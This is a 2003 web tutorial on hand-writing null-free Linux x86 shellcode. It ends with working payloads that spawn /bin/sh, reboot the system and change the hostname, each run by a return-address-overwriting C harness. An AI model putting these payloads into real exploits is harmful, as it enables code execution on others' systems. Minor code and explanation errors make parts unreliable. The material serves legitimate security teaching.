Fromadia Network    | Rattlesnake | Offside | 4arthur | h4ckerx
-=Deaf=-
Back to the pavilion Discussion board About Us Want to post something?
REGISTER
nick:
pass:
 


 
Designing Shellcode
# Linux/Unix    Dec 12 2003 - 14:08 EST    Posted By the_swede

printer friendly page   Comment on this article -- there are 0 comments already  (0)
Introduction
------------

Although tedious and abstract, shellcoding is an important skill
to learn in order to understand the underlying concepts of computer
systems. Shellcode is also important for the understanding of computer
security where shellcode is used to exploit vulnerable applications. In
this article, we will be working on Linux using the IA-32(x86)
architecture. Knowledge of C and IA-32 assembly, as well as knowledge
of how to use gdb is helpful.

The approach
^^^^^^^^^^^^
Usually the first step is getting to know your function's(or
syscall) arguments. For our first example, we will create a directory
called "1337". In order to do this, we must first look up the syscall
for mkdir and the arguments for mkdir. A decent list of system calls
can be found at http://www.linuxassembly.org/syscall.html. By looking
on there, we find that the syscall for mkdir is 39(0x27). By doing a
bit of googling, we can see that the arguments for mkdir is:
int mkdir(const char *path, mode_t)
The path of our directory will be a pointer. The mode is an
integer. The second step is to write a program in C that will create a
directory called "1337".

mkdir.c
------------------------------------------------------------------------
#include

int main()
{
mkdir("1337", 0755);
return 0;
}
------------------------------------------------------------------------

Extracting the Information
##########################

After we write this code, we want to compile it, run it, and then
check out the assembly code of it using gdb, as our third step:

------------------------------------------------------------------------
eric@debian:~/shellcode$ gcc -o mkdir mkdir.c
eric@debian:~/shellcode$ ./mkdir
eric@debian:~/shellcode$ ls -l
total 16
drwxr-xr-x 2 eric eric 4096 Nov 10 00:11 1337
-rwxr-xr-x 1 eric eric 4810 Nov 10 00:11 mkdir
-rw-r--r-- 1 eric eric 71 Nov 10 00:07 mkdir.c
eric@debian:~/shellcode$ gdb mkdir
GNU gdb 2002-04-01-cvs
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and
you are welcome to change it and/or distribute copies of it under
certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i386-linux"...(no debugging symbols
found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x80483f0
: push %ebp
0x80483f1 : mov %esp,%ebp
0x80483f3 : sub $0x8,%esp
0x80483f6 : add $0xfffffff8,%esp
0x80483f9 : push $0x1ed
0x80483fe : push $0x8048474
0x8048403 : call 0x80482d0
0x8048408 : add $0x10,%esp
0x804840b : xor %eax,%eax
0x804840d : jmp 0x8048410
0x804840f : nop
0x8048410 : leave
0x8048411 : ret
0x8048412 : lea 0x0(%esi,1),%esi
0x8048419 : lea 0x0(%edi,1),%edi
End of assembler dump.
------------------------------------------------------------------------

The code worked. It created a directory called "1337" with
permissions of 755. If I had set my permissions to 777, the
permissions still would have been 755, because of the umask set as 022.
From the disassembled code, we can extract the information we need in
order to create the assembly code. What we need to look at is the
fifth and sixth lines. The first push instruction is pushing the second
argument which was the mode. Despite setting the mode to 0755, the
mode that we will use for our assembly code is 0x1ed. The second push
is pushing the memory address, which points to the name of the
directory we are creating. The program then goes and calls the mkdir()
function and then returns back to 0x8048408.

Creating the Assembly Code
~~~~~~~~~~~~~~~~~~~~~~~~~~

The first thing we want to do is put the name of our directory
into a buffer. We do this by using the stack. The stack allows us to
place data into contiguous memory regions. Since the stack uses
something called LIFO(Last In First Out) or FILO(First In Last Out), we
have to place everything onto the stack in reverse order. But we can
only do this four bytes at a time. Our string must be converted from
ASCII to hexadecimal. The hexadecimal equivilant of "1337" is
0x31333337. A string must also be padded with a null byte to terminate
it. Time to place it onto the stack:

pushl $0x0
pushl $0x37333331

We now have our string in a contiguous memory region. In order to
set up the parameters for any system call, the four 32-bit general
registers EAX, EBX, ECX, and EDX, the four 16-bit general registers,
AX, BX, CX, and DX, or the four 8-bit general registers, AL, BL, CL,
and DL are used. The arguments that are placed into the general
purpose registers must also be placed in reverse order. We need to
first place the mode into a register. Remember, the mode is an integer:

movl $0x1ed, %ecx

Now we must use the stack pointer as our directory argument. The
stack pointer(ESP) points to the top of the stack, where our string is
located. The stack on IA-32 grows downwards, or towards lower memory
addresses:

movl %esp, %ebx

After that is completed, we must put the system call number, which
is 0x27(or 39 in decimal), into EAX and then dive into kernel mode:

movl $0x27, %eax
int $0x80

Our last part of the program is to run the exit syscall. We want
to return 0 to show a successful run. By doing this, we must place 0
into EBX. To do so, we can do an Exclusive OR on the register itself.
The exit syscall is 0x1:

xorl %ebx, %ebx
movl $0x1, %eax
int $0x80

When we put this all together, we get something like this:

mkdir.s
------------------------------------------------------------------------
.section .text
.global main
main:
pushl $0x0
pushl $0x37333331
movl $0x1ed, %ecx
movl %esp, %ebx

movl $0x27, %eax
int $0x80
xorl %ebx, %ebx
movl $0x1, %eax
int $0x80
------------------------------------------------------------------------

Patch Work
++++++++++

We want to try to avoid using 0's in our assembly code. First,
they look ugly, and they also take up unneccessary bytes. For
instance, there's no need to use a 32-bit register when you're only
placing 8 or 16 bits of data into it! For a hacker's purpose, the null
bytes cannot be used in his or her exploits because a null byte
terminates a string. In order to fix our problem, we will change the
following:

pushl $0x0 | xorl %eax, %eax
| pushl %eax

movl $0x1ed, %ecx | movw $0x1ed, %cx

movl $0x27, %eax | movb $0x27, %al

movl $0x1, %eax | movl %ebx, %eax
| incl %eax

Now that the patch work is done, we have our new code:

mkdir.s
------------------------------------------------------------------------
.section .text
.global main
main:
xorl %eax, %eax
pushl %eax
pushl $0x37333331
movw $0x1ed, %cx
movl %esp, %ebx
movb $0x27, %al
int $0x80

xorl %ebx, %ebx
movl %ebx, %eax
incl %eax
int $0x80
------------------------------------------------------------------------

Writing the Shellcode
`````````````````````

Finally it is time to write our shellcode. We need to assemble
our patched assembly code, and see if it works:

------------------------------------------------------------------------
eric@debian:~/shellcode$ gcc -o mkdir mkdir.s
eric@debian:~/shellcode$ ./mkdir
eric@debian:~/shellcode$ ls -l
total 20
drwxr-xr-x 2 eric eric 4096 Nov 10 02:24 1337
-rwxr-xr-x 1 eric eric 4593 Nov 10 02:23 mkdir
-rwxr-xr-x 1 eric eric 544 Nov 10 02:07 mkdir.c
-rwxr-xr-x 1 eric eric 206 Nov 10 02:01 mkdir.s
------------------------------------------------------------------------

Yep! It works! Now we need to extract the opcodes using gdb.

------------------------------------------------------------------------
eric@debian:~/shellcode$ gdb mkdir
GNU gdb 2002-04-01-cvs
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and
you are welcome to change it and/or distribute copies of it under
certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i386-linux"...(no debugging symbols
found)...
(gdb) x/30b main
0x80483c0
: 0x31 0xc0 0x50 0x68 0x31 0x33 0x33 0x37
0x80483c8 : 0x66 0xb9 0xed 0x01 0x89 0xe3 0xb0 0x27
0x80483d0 : 0xcd 0x80 0x31 0xdb 0x89 0xd8 0x40 0xcd
0x80483d8 : 0x80 0x8d 0x76 0x00 0x90 0x90
------------------------------------------------------------------------

We need to clean this up a bit. I would do it by copying and
pasting the gdb output into a text file, remove everything before the
":"s, remove all the spaces, and to a search/replace on all the "0x"s
with "\x"s. It is also necessary to cut out all of the opcodes after
the last 0x80 or \x80, because the rest are not important to the
construction of shellcode.
When we neaten the opcodes up, we get something similar to this:

------------------------------------------------------------------------
\x31\xc0\x50\x68\x31\x33\x33\x37
\x66\xb9\xed\x01\x89\xe3\xb0\x27
\xcd\x80\x31\xdb\x89\xd8\x40\xcd
\x80
------------------------------------------------------------------------

Our shellcode then looks something like this:

mkdir.c
------------------------------------------------------------------------
#include

char shellcode[] =
"\x31\xc0\x50\x68\x31\x33\x33\x37"
"\x66\xb9\xed\x01\x89\xe3\xb0\x27"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80";

int main(void)
{
int * ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------

Let us compile and run our shellcode to see if it works.

------------------------------------------------------------------------
eric@debian:~/shellcode$ gcc -o mkdir mkdir.c
eric@debian:~/shellcode$ ./mkdir
eric@debian:~/shellcode$ ls -l
total 20
drwxr-xr-x 2 eric eric 4096 Nov 10 02:44 1337
-rwxr-xr-x 1 eric eric 4755 Nov 10 02:44 mkdir
-rwxr-xr-x 1 eric eric 544 Nov 10 02:07 mkdir.c
-rwxr-xr-x 1 eric eric 206 Nov 10 02:01 mkdir.s
------------------------------------------------------------------------

Thankfully it worked! Constructing shellcode is a very tedious
task, as you can see. I'm sure if you were patient enough to read up
to here, you will continue reading.

More Examples
*************

For another example of writing shellcode, we will write shellcode
that spawns a shell. This is often seen in the computer security
field. Often, hackers spawn shells in their buffer overflow exploits.
This is doine by changing the return address in the stack to an address
where the shell spawning shellcode is located.
We first start out with examining our syscall(or function) in C.
In order to execute any program, we will use execve(). Execve() is
both a system call and a C function. By looking at our chart, we find
out that execve's number is 0xb, or 11. Then by looking at our man
pages, we can find the arguments needed for execve().

int execve(const char *filename, char *const argv[], char *const envp[])

In C, we will get something like this:
shspawn.c
------------------------------------------------------------------------

#include

int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
return 0;
}
------------------------------------------------------------------------

Now we want to write this in assembly. We need to first create
our path. Our path will be "/bin//sh". The extra "/" is an escape
character used in order to distinguish slash that follows it. Then of
course, in order to end any string, we must have a null byte. Our
second argument is the entire character array. And our third argument
is NULL.
So in order to construct our code, we must first end our string
with the null byte:
xorl %eax, %eax
xorl %ecx, %ecx
xorl %edx, %edx
pushl %edx

Now we need to push our string backwards, four bytes at a time:

pushl $0x68732f2f
pushl $0x6e69622f

Now that we have our completed string on the stack, we need to
move it into a register. The path argument in our C function was the
first; now it is the last, so ESP, which is pointing to our string,
will be placed into EBX:

movl %esp, %ebx

We then need to set up our second argument, which was our string
and a NULL and then place it into it's respective register:

pushl %edx
pushl %ebx
movl %esp, %ecx

Once that is complete, we can now place the system call for
execve, 0xb, into EAX, then go into kernel mode:

movb $0xb, %al
int $0x80

Lastly, we must end our program with exit(0):

xorl %ebx, %ebx
movl %ebx, %eax
incl %eax
int $0x80

Now that we have that, let's put the pieces together and construct
our assembly code. The null bytes have already been removed:
shspawn.s
------------------------------------------------------------------------
.section .text
.global main

main:
xorl %eax, %eax
xorl %ebx, %ebx
xorl %ecx, %ecx
xorl %edx, %edx
pushl %edx
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp, %ebx
pushl %edx
pushl %ebx
movl %esp, %ecx
movl $0xb, %eax
int $0x80
xorl %ebx, %ebx
movl %ebx, %eax
incl %eax
int $0x80
------------------------------------------------------------------------

Let us now assemble and extract the opcodes:

------------------------------------------------------------------------
eric@debian:~/shellcode$ gcc -o shspawn shspawn.s
eric@debian:~/shellcode$ gdb shspawn
GNU gdb 2002-04-01-cvs
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and
you are welcome to change it and/or distribute copies of it under
certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i386-linux"...(no debugging symbols
found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x80483c0
: xor %eax,%eax
0x80483c2 : xor %ebx,%ebx

0x80483c4 : xor %ecx,%ecx
0x80483c6 : xor %edx,%edx
0x80483c8 : push %edx
0x80483c9 : push $0x68732f2f
0x80483ce : push $0x6e69622f
0x80483d3 : mov %esp,%ebx
0x80483d5 : push %edx
0x80483d6 : push %ebx
0x80483d7 : mov %esp,%ecx
0x80483d9 : mov $0xb,%al
0x80483db : int $0x80
0x80483dd : xor %ebx,%ebx
0x80483df : mov %ebx,%eax
0x80483e1 : inc %eax
0x80483e2 : int $0x80
0x80483e4 : nop
0x80483e5 : nop
0x80483e6 : nop
---Type to continue, or q to quit---
0x80483e7 : nop
0x80483e8 : nop
0x80483e9 : nop
0x80483ea : nop
0x80483eb : nop
0x80483ec : nop
0x80483ed : nop
0x80483ee : nop
0x80483ef : nop
End of assembler dump.
(gdb) x/36b main
0x80483c0
: 0x31 0xc0 0x31 0xdb 0x31 0xc9 0x31 0xd2
0x80483c8 : 0x52 0x68 0x2f 0x2f 0x73 0x68 0x68 0x2f
0x80483d0 : 0x62 0x69 0x6e 0x89 0xe3 0x52 0x53 0x89
0x80483d8 : 0xe1 0xb0 0x0b 0xcd 0x80 0x31 0xdb 0x89
0x80483e0 : 0xd8 0x40 0xcd 0x80
------------------------------------------------------------------------

When we extract the opcodes, we get our shellcode:

shspawn.c
------------------------------------------------------------------------
#include
char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\x52\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x52\x53\x89"
"\xe1\xb0\x0b\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80";

int main(void)
{
int * ret;
ret = (int *)&ret + 2;

(*ret) = (int)shellcode;
}
------------------------------------------------------------------------

When we compile and run it, it should spawn sh:

------------------------------------------------------------------------
eric@debian:~$ cd shellcode
eric@debian:~/shellcode$ gcc -o shspawn shspawn.c
eric@debian:~/shellcode$ ./shspawn
sh-2.05a$ exit
exit
------------------------------------------------------------------------

Some variants of the above code exist; http://uc.zemos.net/sc/UCexecve.c

========================================================================
For our third example, we will write the message "Hello World!" to
/dev/tty1. Let's first check out the system calls we need to use:

int sys_open(const char * filename, int flags, int mode)
-&-
ssize_t sys_write(unsigned int fd, const char * buf, size_t count)

One aspect of open is crucial in designing our shellcode; open()
returns the file descriptor(fd). Writing the C code comes first:

vt.c
------------------------------------------------------------------------
#include
#include
#include
#include
int main()
{
int fd = open("/dev/tty1", O_RDWR);
char[] buf = "Hello World!";
int len = strlen(buf);
write(fd, buf, len);
return 0;
}
------------------------------------------------------------------------

After compiling the above code, you should login as root, chvt to
tty1(chvt 1) and try running the program:

------------------------------------------------------------------------
debian:/home/eric/shellcode# gcc -o vt vt.c
debian:/home/eric/shellcode# ./vt

Hello World!
debian:/home/eric/shellcode#
------------------------------------------------------------------------

The code did in fact did work. We now need to write the assembly code.
Let's start off with examining the disassembled code using gdb:

------------------------------------------------------------------------
eric@debian:~/shellcode$ gdb vt
GNU gdb 2002-04-01-cvs
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and
you are welcome to change it and/or distribute copies of it under
certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i386-linux"...(no debugging symbols
found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8048450
: push %ebp
0x8048451 : mov %esp,%ebp
0x8048453 : sub $0x28,%esp
0x8048456 : add $0xfffffff8,%esp
0x8048459 : push $0x2
0x804845b : push $0x80485e4
0x8048460 : call 0x8048358
0x8048465 : add $0x10,%esp
0x8048468 : mov %eax,%eax
0x804846a : mov %eax,0xfffffffc(%ebp)
0x804846d : lea 0xffffffec(%ebp),%edx
0x8048470 : mov $0x80485ee,%eax
0x8048475 : mov (%eax),%edx
0x8048477 : mov %edx,0xffffffec(%ebp)
0x804847a : mov 0x4(%eax),%edx
0x804847d : mov %edx,0xfffffff0(%ebp)
0x8048480 : mov 0x8(%eax),%edx
0x8048483 : mov %edx,0xfffffff4(%ebp)
0x8048486 : movzwl 0xc(%eax),%eax
0x804848a : mov %ax,0xfffffff8(%ebp)
0x804848e : add $0xfffffff4,%esp
0x8048491 : lea 0xffffffec(%ebp),%eax
---Type to continue, or q to quit---
0x8048494 : push %eax
0x8048495 : call 0x8048338
0x804849a : add $0x10,%esp
0x804849d : mov %eax,0xffffffe8(%ebp)
0x80484a0 : add $0xfffffffc,%esp
0x80484a3 : mov 0xffffffe8(%ebp),%eax
0x80484a6 : push %eax
0x80484a7 : lea 0xffffffec(%ebp),%eax
0x80484aa : push %eax
0x80484ab : mov 0xfffffffc(%ebp),%eax
0x80484ae : push %eax
0x80484af : call 0x8048318

0x80484b4 : add $0x10,%esp
0x80484b7 : xor %eax,%eax
0x80484b9 : jmp 0x80484c0
0x80484bb : nop
0x80484bc : lea 0x0(%esi,1),%esi
0x80484c0 : leave
0x80484c1 : ret
0x80484c2 : lea 0x0(%esi,1),%esi
0x80484c9 : lea 0x0(%edi,1),%edi
End of assembler dump.
------------------------------------------------------------------------

Let us focus on the two lines before the call to open(). It says
push 0x2 and push $0x80485e4. The first push is placing "O_RDWR" onto
the stack. The second push is placing the memory address where our
string "/dev/tty1" onto the stack.
When we write our own code, we first need to push a null byte in
order to terminate the string:

xorl %eax, %eax
pushl %eax

Then we need to push our string "/dev/tty1" onto the stack. The
last two bytes MUST be pushed seperately. If they are pushed as
"0x3179", then the assembler will automatically fill the last two bytes
with 0's:
pushl $0x31
pushl $0x79
pushl $0x74742f2f
pushl $0x7665642f

Now that we have our string on the stack, we need to set up the
arguments for the open syscall. First we move 0_RDWR(0x2) into CL and
then we move the pointer to our string, which is ESP, to EBX. After
that, we place the system call number into AL and jump into kernel mode:

movb $0x2, %cl
movl %esp, %ebx
movb $0x5, %eax
int $0x80

The return value for open() is the file descriptor for /dev/tty1.
A function always places the return value into EAX. Since the fd is
the first argument for write(), we'll place it into EBX. We need to do
this first because we need to now set up our string, "Hello World!" by
Exclusive ORing EAX with itself:

movl %eax, %ebx
xorl %eax, %eax
pushl %eax

After that is complete, we need to push the rest of our "Hello World!"
string onto the stack:

pushl $0x0a
pushl $0x21646c72
pushl $0x6f57206f
pushl $0x6c6c6548

Now to set up the last two arguments for write(), place the system
call number into EAX, and jump into kernel mode:

movb $0xd, %dl
movl %esp, %ecx
movb $0x4, %al
int $0x80

Finally, end the program with exit(0):

xorl %ebx, %ebx
movl %ebx, %eax
incl %eax
int $0x80

But before we write our completed assembly code, we need to do one
last thing. Because we are sometimes using 8-bit registers, the top 24
bits may be filled with other data that may cause our program to
execute in an undesirable way. To fix this, we need to zero out all of
the registers at the beginning. EAX has already been 0'd out:

xorl %edx, %edx
xorl %ecx, %ecx
xorl %ebx, %ebx

All together, the code should look like this:
vt.s
------------------------------------------------------------------------
.section .text
.global main
main:
xorl %edx, %edx
xorl %ecx, %ecx
xorl %ebx, %ebx
xorl %eax, %eax
pushl %eax
pushl $0x31
pushl $0x79
pushl $0x74742f2f
pushl $0x7665642f
movb $0x2, %cl
movl %esp, %ebx
movb $0x5, %al

int $0x80
movl %eax, %ebx
xorl %eax, %eax
pushl %eax
pushl $0x0a
pushl $0x21646c72
pushl $0x6f57206f
pushl $0x6c6c6548
movb $0xd, %dl
movl %esp, %ecx
movb $0x4, %al
int $0x80

xorl %ebx, %ebx
movl %ebx, %eax
incl %eax
int $0x80
------------------------------------------------------------------------

After assembling your code, you can then fetch the opcodes using
gdb. Your the shellcode below is the complete shellcode in order to
write "Hello World!" to /dev/tty1.

vt.c
------------------------------------------------------------------------
#include
char shellcode[] =
"\x31\xd2\x31\xc9\x31\xdb\x31\xc0"
"\x50\x6a\x31\x6a\x79\x68\x2f\x2f"
"\x74\x74\x68\x2f\x64\x65\x76\xb1"
"\x02\x89\xe3\xb0\x05\xcd\x80\x89"
"\xc3\x31\xc0\x50\x6a\x0a\x68\x72"
"\x6c\x64\x21\x68\x6f\x20\x57\x6f"
"\x68\x48\x65\x6c\x6c\xb2\x0d\x89"
"\xe1\xb0\x04\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80";

int main(void)
{
int * ret;
printf("Size in bytes: %d", sizeof(shellcode) - 1);
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------

The original of the vt code* can be found at
http://uc.zemos.net/sc These shellcodes and more can be found below.
The idea for the vt shellcode was conspired by mikecc of Zemos after viewing my
own original shellcode. Because of mikecc's superior coding abilities, he
managed to code the first vt shellcode while I completed mine hours later.

hostname.c
------------------------------------------------------------------------
/* author: the_swede
* title: hostname
* description: sets hostname to "1337".
*/

#include
/*
* xorl %eax, %eax
* pushl %edx
* pushl $0x37333331
* movb $0x04, %cl
* movl %esp, %ebx
* movb $0x4a, %al
* int $0x80
*
* xorl %ebx, %ebx
* movl %ebx, %eax
* incl %eax
* int $0x80
*/

char shellcode[] =
"\x31\xc0\x50\x68\x31\x33\x33\x37"
"\xb1\x04\x89\xe3\xb0\x4a\xcd\x80"
"\x31\xdb\x89\xd8\x40\xcd\x80";

int main(void)
{
int * ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}

------------------------------------------------------------------------

mkdir.c
------------------------------------------------------------------------
/* author: the_swede
* title: mkdir
* description: creates a directory titled "1337".
*/
#include
/*
* xorl %eax, %eax
* pushl %eax
* pushl $0x37333331
*
* movw $0x1ed, %cx
* movl %esp, %ebx
* movb $0x27, %al
* int $0x80
*
* xorl %ebx, %ebx
* movl %ebx, %eax
* incl %eax
* int $0x80
*/
char shellcode[] =
"\x31\xc0\x50\x68\x31\x33\x33\x37"
"\x66\xb9\xed\x01\x89\xe3\xb0\x27"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80";
int main(void)
{
int * ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}

reboot.c
------------------------------------------------------------------------
/*
* Author: the_swede
* Title: reboot
* Date: 6/8/03
* Description: reboots Linux.
*/
#include
/*
* pushl $0xfee1dead
* popl %ebx
* pushl $0x16041998
* popl %ecx
* pushl $0x1234567
* xorl %eax, %eax
* popl %edx
* movb $0x58, %al
* int $0x80
*
* xorl %ebx, %ebx
* movl %ebx, %eax
* incl %eax
* int $0x80
*/
char shellcode[] =
"\x68\xad\xde\xe1\xfe\x5b\x68\x98"
"\x19\x04\x16\x59\x68\x67\x45\x23"
"\x01\x31\xc0\x5a\xb0\x58\xcd\x80"
"\x31\xdb\x89\xd8\x40\xcd\x80";
int main(void)
{
int * ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}------------------------------------------------------------------------

shspawn.c
------------------------------------------------------------------------
/*
* Title: shspawn
* Author: the_swede
* Date: 6/8/03
* Description: shellcode that spawns /bin/sh.
*/
#include
/*
* xorl %edx, %edx
* pushl %edx
* pushl $0x68732f2f
* pushl $0x6e69622f
*
* movl %esp, %ebx
* pushl %edx
* pushl %ebx
* movl %esp, %ecx
* movb $0xb, %al
* int $0x80
*
* xorl %ebx, %ebx
* movl %ebx, %eax
* incl %eax
* int $0x80
*/
char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\x52\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x52\x53\x89"
"\xe1\xb0\x0b\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80";
int main(void)
{
int * ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------

vt.c
------------------------------------------------------------------------
/* author: the_swede
* title: vt
* description: writes "Hello World!" to /dev/tty1.
#include
/*
* xorl %edx, %edx
* xorl %ecx, %ecx
* xorl %ebx, %ebx
*
* xorl %eax, %eax
* pushl %eax
* pushl $0x31
* pushl $0x79
* pushl $0x74742f2f
* pushl $0x7665642f
*
* movb $0x2, %cl
* movl %esp, %ebx
* movb $0x5, %al
* int $0x80
*
* movl %eax, %ebx
*
* xorl %eax, %eax
* pushl %eax
* pushl $0x0a
* pushl $0x21646c72
* pushl $0x6f57206f
* pushl $0x6c6c6548
*
* movb $0xd, %dl
* movl %esp, %ecx
* movb $0x4, %al
* int $0x80
*
* xorl %ebx, %ebx
* movl %ebx, %eax
* incl %eax
* int $0x80
*/
char shellcode[] =
"\x31\xd2\x31\xc9\x31\xdb\x31\xc0"
"\x50\x6a\x31\x6a\x79\x68\x2f\x2f"
"\x74\x74\x68\x2f\x64\x65\x76\xb1"
"\x02\x89\xe3\xb0\x05\xcd\x80\x89"
"\xc3\x31\xc0\x50\x6a\x0a\x68\x72"
"\x6c\x64\x21\x68\x6f\x20\x57\x6f"
"\x68\x48\x65\x6c\x6c\xb2\x0d\x89"
"\xe1\xb0\x04\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80";

int main(void)
{
int * ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------

write.c
------------------------------------------------------------------------
/* author: the_swede
* title: write
* description: writes "Hello World!"
*/
#include
/*
* xorl %edx, %edx
* xorl %ecx, %ecx
*
* xorl %eax, %eax
* pushl %eax
* pushl $0x0a
* pushl $0x21646c72
* pushl $0x6f57206f
* pushl $0x6c6c6548
*
* movb $0xd, %dl
* movl %esp, %ecx
* xorl %ebx, %ebx
* movb $0x4, %al
* int $0x80
*
* xorl %ebx, %ebx
* movl %ebx, %eax
* incl %eax
* int $0x80
*/
char shellcode[] =
"\x31\xd2\x31\xc9\x31\xc0\x50\x6a"
"\x0a\x68\x72\x6c\x64\x21\x68\x6f"
"\x20\x57\x6f\x68\x48\x65\x6c\x6c"
"\xb2\x0d\x89\xe1\x31\xdb\xb0\x04"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80";
int main(void)
{
int * ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------



printer friendly page   Comment on this article -- there are 0 comments already  (0)

To the best of our knowledge, the text on this page either may be freely reproduced and distributed or was written specifically for fromadia.com. The site layout, page layout, and all original artwork on this site are Copyright © 2002 Fromadia.com. If you wish to reproduce any of it or if you are author of a work that you feel shouldn't be printed here, please email us at copyright@fromadia.com.



 


Enter a keyword...
sponsored links

web hosting
Reseller Hosting

The content and design of this site is © 2002 by Fromadia.com and any of the people that help support our community.

Lightning Servers - Reseller Hosting Experts | Lightning Servers Cpanel Hosting | Hosting Knowledge Base | Reseller Works | Web Design | Miserable Failure